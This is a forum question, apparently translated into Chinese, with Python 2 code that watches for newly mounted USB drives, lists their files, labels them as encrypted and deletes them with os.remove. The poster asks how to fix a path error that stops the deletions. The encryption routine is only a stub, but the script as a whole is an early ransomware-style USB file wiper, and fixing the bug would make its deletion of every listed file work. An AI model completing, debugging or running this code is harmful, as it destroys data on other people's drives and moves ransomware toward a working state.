我想让这段代码正常工作,但当我尝试插入我的闪存设备时,找到包含它的所有扫描文件说:
WindowsError:[错误2]系统找不到指定的文件: '截图来自2016-11-30 16-53-48.png'
如何修复以使其正常运行?
扫描输出:
letter: E:\
There were 1 drives added: set(['E']). Newly mounted drive letter is E:\
['Screenshot from 2016-11-30 16-53-48.png', 'Screenshot from 2016-11-30 16-57-30.png', 'Screenshot from 2016-11-30 16-57-43.png', 'Screenshot from 2016-11-30 16-58-14.png', 'script.py', 'private_key.key', 'public_key.key', 'python-2.7.12.msi', 'pycrypto-2.6.1.win32-py2.7.exe', 'pycrypto-2.6.win-amd64-py2.7.exe', 'Learning Python, 5th Edition.pdf', 'python_book_01.pdf', 'python_tutorial.pdf', 'Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers.pdf', 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters.pdf', 'CE_149_Ciberseguridad.pdf', 'windows 7 all in one 32bits y 64bits.iso', 'test.txt']
我的代码:
from ctypes import windll
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
import string
import time
import os, sys
def get_drives():
drives = []
bitmask = windll.kernel32.GetLogicalDrives()
for letter in string.uppercase:
if bitmask & 1:
drives.append(letter)
bitmask >>= 1
return drives
def encrypt_file(filename):
print filename
def list_files(path):
files = []
for name in os.listdir(str(path)):
if os.path.isfile(os.path.join(path, name)):
files.append(name)
return files
if __name__ == '__main__':
print 'Searching usb...'
while True:
before = set(get_drives())
time.sleep(5)
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
if os.system("cd " + drive + ":") == 0:
newly_mounted = '%c:\\'%(drive)
encrypt_files = list_files(newly_mounted)
print "letter: "+newly_mounted
print "There were %d drives added: %s. Newly mounted drive letter is %s" % (delta, drives, newly_mounted)
for x in encrypt_files:
if os.path.basename(x).startswith("(encrypted)"):
print "%s is already encrypted" %str(x)
pass
else:
encrypt_file(encrypt_files)
print "Done encrypting %s" %str(x)
os.remove(x)
else:
print "Sorry, I couldn't find any newly mounted drives."